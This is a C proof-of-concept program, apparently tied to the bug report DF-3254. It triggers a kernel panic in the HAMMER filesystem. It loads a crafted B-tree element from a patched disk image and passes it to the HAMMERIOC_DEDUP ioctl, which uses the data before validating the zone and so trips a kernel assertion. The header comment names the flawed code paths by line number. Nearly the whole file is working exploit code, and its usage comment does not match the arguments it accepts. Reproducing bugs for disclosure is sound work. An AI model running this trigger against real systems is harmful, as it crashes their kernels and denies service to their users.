DF-3254 / dedup_trigger.c
/* * DF-3254 trigger: HAMMERIOC_DEDUP with elm1/elm2 = the (patched) DATA * leaf base element. hammer_ioc_dedup() runs * hammer_btree_extract_data() on cursor1 (hammer_dedup.c:66) BEFORE the * hammer_is_zone_data() validation at :92-93 -> zone-0 data_offset hits * KKASSERT(HAMMER_ZONE(buf_offset) != 0) in _hammer_bread * (hammer_ondisk.c:1123) -> INVARIANTS panic. * * usage: dedup_trigger <mounted-dir> <obj_id> <rec_type> <key> <create_tid> <localization> <obj_type> * (all numeric, hex allowed with 0x) * OR: dedup_trigger <mounted-dir> --copy <image-offset> (read base elm * straight from the image file at the given 4K-node offset, elm 0) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include "hammer_ioctl.h" int main(int argc, char **argv) { struct hammer_ioc_dedup dedup; unsigned char buf[64]; int fd, r; if (argc != 5 || strcmp(argv[2], "--copy")) { fprintf(stderr, "usage: dedup_trigger <dir> --copy <image> <element-offset>\n"); return 2; } { int img = open(argv[3], O_RDONLY); off_t eo = strtoll(argv[4], NULL, 0); if (img < 0) { perror("open image"); return 2; } if (pread(img, buf, 64, eo) != 64) { perror("pread"); return 2; } close(img); } memset(&dedup, 0, sizeof(dedup)); memcpy(&dedup.elm1, buf, sizeof(dedup.elm1)); memcpy(&dedup.elm2, buf, sizeof(dedup.elm2)); printf("elm1: obj_id=%jd key=%jd create_tid=%jd rec_type=%x localization=%x\n", dedup.elm1.obj_id, dedup.elm1.key, dedup.elm1.create_tid, dedup.elm1.rec_type, dedup.elm1.localization); fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open dir"); return 2; } printf("issuing HAMMERIOC_DEDUP...\n"); fflush(stdout); r = ioctl(fd, HAMMERIOC_DEDUP, &dedup); printf("ioctl returned %d errno=%d (%s) head.flags=%x head.error=%d\n", r, errno, strerror(errno), dedup.head.flags, dedup.head.error); return 0; } |